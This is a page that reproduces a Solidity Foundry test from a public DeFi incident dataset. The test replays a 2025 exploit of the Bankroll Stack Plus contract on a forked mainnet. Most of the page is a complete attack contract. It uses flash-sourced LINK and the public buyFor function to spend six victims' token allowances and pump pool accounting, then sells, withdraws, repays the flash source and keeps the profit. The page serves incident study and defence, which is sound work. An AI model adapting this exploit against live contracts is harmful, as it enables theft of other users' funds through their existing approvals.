Public reproduction file
src/test/2025-06/BankrollStackPlus_exp.sol
Public reproduction file for dataset entry BankrollStackPlus.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 12,234.48 USD8// Attacker : 0x172dcA3e72E4643ce8B7932f4947347C1E49ba6D9// Attack Contract : 0x92c56DD0c9EEE1Da9f68F6E0F70C4A77de7B2b3c10// Vulnerable Contract : 0x7B3611B0afFC27d212A68293831d3B55354B802f11// Attack Tx : https://etherscan.io/tx/0x8905a0aca5849626c0de026c2d2894ddfa8060a27725221f01aac9fb0b3d662912//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x7B3611B0afFC27d212A68293831d3B55354B802f#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/130118//19// Attack summary: the attacker used flash-sourced LINK to buy Bankroll Stack Plus shares, then called the20// public buyFor(address,uint256) function against accounts that had pre-approved the Bankroll contract.21// Those forced buys injected more LINK and fee accounting into the pool before the attacker sold and withdrew.22// Root cause: buyFor lets any caller spend a third party's token allowance and mutate pool accounting for that23// third party, enabling an attacker to combine victim allowances with a same-transaction buy/sell cycle.25address constant ATTACKER = 0x172Dca3e72e4643cE8B7932F4947347C1e49bA6d;26address constant HISTORICAL_ATTACK_CONTRACT = 0x92C56dD0c9Eee1Da9f68f6e0F70C4a77dE7B2b3C;27address constant BANKROLL_STACK_PLUS = 0x7B3611b0AfFc27D212A68293831d3B55354B802F;28address constant UNISWAP_V4_POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;29address constant UNISWAP_V2_ROUTER = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a;30address constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA;31address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;33uint256 constant FLASH_LINK_AMOUNT = 13_635 ether;34uint256 constant LINK_TO_WETH_SWAP_AMOUNT = 7_800 ether;35uint256 constant ATTACKER_BUY_AMOUNT = 5_835 ether;37interface IBankrollStackPlus {38 function buy(39 uint256 buyAmount40 ) external returns (uint256);41 function buyFor(address customer, uint256 buyAmount) external returns (uint256);42 function myTokens() external view returns (uint256);43 function sell(44 uint256 amountOfTokens45 ) external;46 function withdraw() external;47}49interface IUniswapV2RouterLike {50 function swapExactTokensForTokens(51 uint256 amountIn,52 uint256 amountOutMin,53 address[] calldata path,54 address to,55 uint256 deadline56 ) external returns (uint256[] memory amounts);57}59contract ContractTest is BaseTestWithBalanceLog {60 address[6] private buyers = [61 0x24DD493Af24Abc8E1c27A1592E4CCfa55D4aA4bD,62 0x52ecc67bcaFF974728160EAcB70eED1945D1C94F,63 0x6bfe931216d69AA1884FC76192490db5b0f82660,64 0xD039424B9aA1833859c2a8338902853B1FC32203,65 0xf22a6502a60B0758A5d7d702990e88086Ea14C9B,66 0xF6D44482c95190cAeBb37b31CaF57cf6b5315Bd167 ];69 uint256[6] private buyAmounts = [70 88_296987564707074262,71 7_600000000000000000,72 547_016590000000000000,73 725278500000000000,74 39_500000000000000000,75 135_88316640407380079576 ];78 function setUp() public {79 uint256 forkBlock = 22_734_354;80 vm.createSelectFork("mainnet", forkBlock);82 fundingToken = LINK_TOKEN;83 attacker = ATTACKER;85 vm.label(ATTACKER, "Attacker");86 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");87 vm.label(BANKROLL_STACK_PLUS, "Bankroll Stack Plus");88 vm.label(UNISWAP_V4_POOL_MANAGER, "Uniswap V4 PoolManager");89 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");90 vm.label(LINK_TOKEN, "LINK");91 vm.label(WETH_TOKEN, "WETH");92 }94 function testExploit() public balanceLog {95 uint256 attackerLinkBefore = IERC20(LINK_TOKEN).balanceOf(ATTACKER);96 uint256 poolManagerLinkBefore = IERC20(LINK_TOKEN).balanceOf(UNISWAP_V4_POOL_MANAGER);98 assertGe(poolManagerLinkBefore, FLASH_LINK_AMOUNT);99 for (uint256 i; i < buyers.length; ++i) {100 assertGe(IERC20(LINK_TOKEN).balanceOf(buyers[i]), buyAmounts[i]);101 assertGe(IERC20(LINK_TOKEN).allowance(buyers[i], BANKROLL_STACK_PLUS), buyAmounts[i]);102 }104 BankrollStackPlusAttack attack = new BankrollStackPlusAttack(ATTACKER, buyers, buyAmounts);106 // step 1: model the historical Uniswap V4 PoolManager take() as same-transaction flash capital.107 vm.prank(UNISWAP_V4_POOL_MANAGER);108 IERC20(LINK_TOKEN).transfer(address(attack), FLASH_LINK_AMOUNT);110 attack.execute();112 uint256 attackerProfit = IERC20(LINK_TOKEN).balanceOf(ATTACKER) - attackerLinkBefore;113 assertGt(attackerProfit, 900 ether);114 assertEq(IERC20(LINK_TOKEN).balanceOf(UNISWAP_V4_POOL_MANAGER), poolManagerLinkBefore);115 }116}118contract BankrollStackPlusAttack {119 address private immutable profitReceiver;120 address[6] private buyers;121 uint256[6] private buyAmounts;123 constructor(address receiver, address[6] memory victims, uint256[6] memory amounts) {124 profitReceiver = receiver;125 buyers = victims;126 buyAmounts = amounts;128 IERC20(LINK_TOKEN).approve(BANKROLL_STACK_PLUS, type(uint256).max);129 IERC20(LINK_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);130 IERC20(WETH_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);131 }133 function execute() external {134 address[] memory linkToWeth = new address[](2);135 linkToWeth[0] = LINK_TOKEN;136 linkToWeth[1] = WETH_TOKEN;138 // step 2: swap part of the flash LINK to WETH, matching the historical setup for the later repayment swap.139 IUniswapV2RouterLike(UNISWAP_V2_ROUTER).swapExactTokensForTokens(140 LINK_TO_WETH_SWAP_AMOUNT, 1, linkToWeth, address(this), block.timestamp + 1 hours141 );143 // step 3: buy attacker shares, then force third-party buys through existing LINK allowances.144 IBankrollStackPlus(BANKROLL_STACK_PLUS).buy(ATTACKER_BUY_AMOUNT);145 for (uint256 i; i < buyers.length; ++i) {146 IBankrollStackPlus(BANKROLL_STACK_PLUS).buyFor(buyers[i], buyAmounts[i]);147 }149 // step 4: sell attacker shares and withdraw the boosted dividend balance.150 uint256 shares = IBankrollStackPlus(BANKROLL_STACK_PLUS).myTokens();151 IBankrollStackPlus(BANKROLL_STACK_PLUS).sell(shares);152 IBankrollStackPlus(BANKROLL_STACK_PLUS).withdraw();154 address[] memory wethToLink = new address[](2);155 wethToLink[0] = WETH_TOKEN;156 wethToLink[1] = LINK_TOKEN;158 uint256 wethBalance = IERC20(WETH_TOKEN).balanceOf(address(this));159 IUniswapV2RouterLike(UNISWAP_V2_ROUTER).swapExactTokensForTokens(160 wethBalance, 1, wethToLink, address(this), block.timestamp + 1 hours161 );163 // step 5: repay the flash source and keep the remaining LINK profit.164 IERC20(LINK_TOKEN).transfer(UNISWAP_V4_POOL_MANAGER, FLASH_LINK_AMOUNT);165 IERC20(LINK_TOKEN).transfer(profitReceiver, IERC20(LINK_TOKEN).balanceOf(address(this)));166 }167}Analysis
Dataset entry
Public Foundry test for “BankrollStackPlus” (2025-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x172dca3e72e4643ce8b7932f4947347c1e49ba6d
- Attack Contract
0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c
- Vulnerable Contract
0x7b3611b0affc27d212a68293831d3b55354b802f
- Attack Tx
0x8905a0aca5849626c0de026c2d2894ddfa8060a27725221f01aac9fb0b3d6629
File record
- Name
- BankrollStackPlus
- Path
- src/test/2025-06/BankrollStackPlus_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b75741360cdb7b4ab3d3c0d987dfb36ecb2aae0f
- Language
- Solidity
- Size
- 168 lines
- Date
- 2025-06-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/BankrollStackPlus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b75741360cdb7b4ab3d3c0d987dfb36ecb2aae0f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.